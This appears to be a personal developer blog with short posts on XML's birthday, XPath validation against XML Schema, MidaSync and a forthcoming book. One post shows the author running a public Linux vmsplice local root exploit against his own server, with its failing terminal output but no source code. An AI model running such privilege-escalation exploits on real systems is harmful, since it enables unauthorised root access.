I recently missed the 10th birthday of XML

The birthday on February 10th was celebrated with a blog post about the XML People.

I’d like to add that XML is something like an eccentric coworker who manages to get entangled in everyone else’s work, either by invitation, pushed from above, or sneaked in by someone who knows him or her.

Validating XPath expressions against XML schema

I have come across a situation where I want to make sure that an XPath expression is valid for querying a document that conforms to a specific XML Schema. My first thought was: this must have been done before and I started googling. I found some discouraging discussions. One approach was to create a dummy document from the schema and then try to evaluate the XPath expression. Nice try, but not ideal.

The XPath expressions I want to validate are actually very simple: they are absolute location paths and so far I’ve only seen elements (including namespace prefix) as nodes. I was thinking of using the XPath parsing in REXML but that’s clearly overkill when the XPath expressions are so simple. Keep It Simple, Stupid! I wonder if such a validation could be written in an XSLT that traverses the XML Schema?

The vmsplice local root exploit

There are some Critical Linux kernel vmsplice security issues that hopefully have been patched properly. See also #27704 on SecurityFocus. Fortunately the kernel on this server is too old to be affected! 🙂

$ ./27704
 Linux vmsplice Local Root Exploit
 By qaaz
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7d8b000 .. 0xb7dbd000
[-] vmsplice: Function not implemented
$ ./27704-2
 Linux vmsplice Local Root Exploit
 By qaaz
[+] addr: 0xc0106340
[-] wtf


Today I reinstated a proper web site on the domain for my project MidaSync. Quoting from the single page:

MidaSync is a project, or collection or projects, for seamless connection between Microsoft Windows Mobile devices and Open Source operating systems.

Further development of MidaSync is currently postponed indefinitely.

I hope to revive it some day, in one way or another, but that will probably not happen for quite a while.

The ThoughtWorks Anthology

According to the latest mail I got from The Pragmatic Bookshelf, one of their upcoming titles is The ThoughtWorks Anthology, but I couldn’t find anything about it on the web. Out of pure curiosity I’ve sent an inquisitive mail to see if I can find out more about it. Maybe it’s related to the No Fluff Just Stuff books?

Another upcoming book is Facebook Platform Development with Rails, which sounds nice but I’ll probably never get around to do it… 🙂

Update Andy Hunt kindly replied to me:

It’s a collection of essays from leading ThoughtWorkers. We’ll have an announcement up in the next week or so.

Sounds interesting!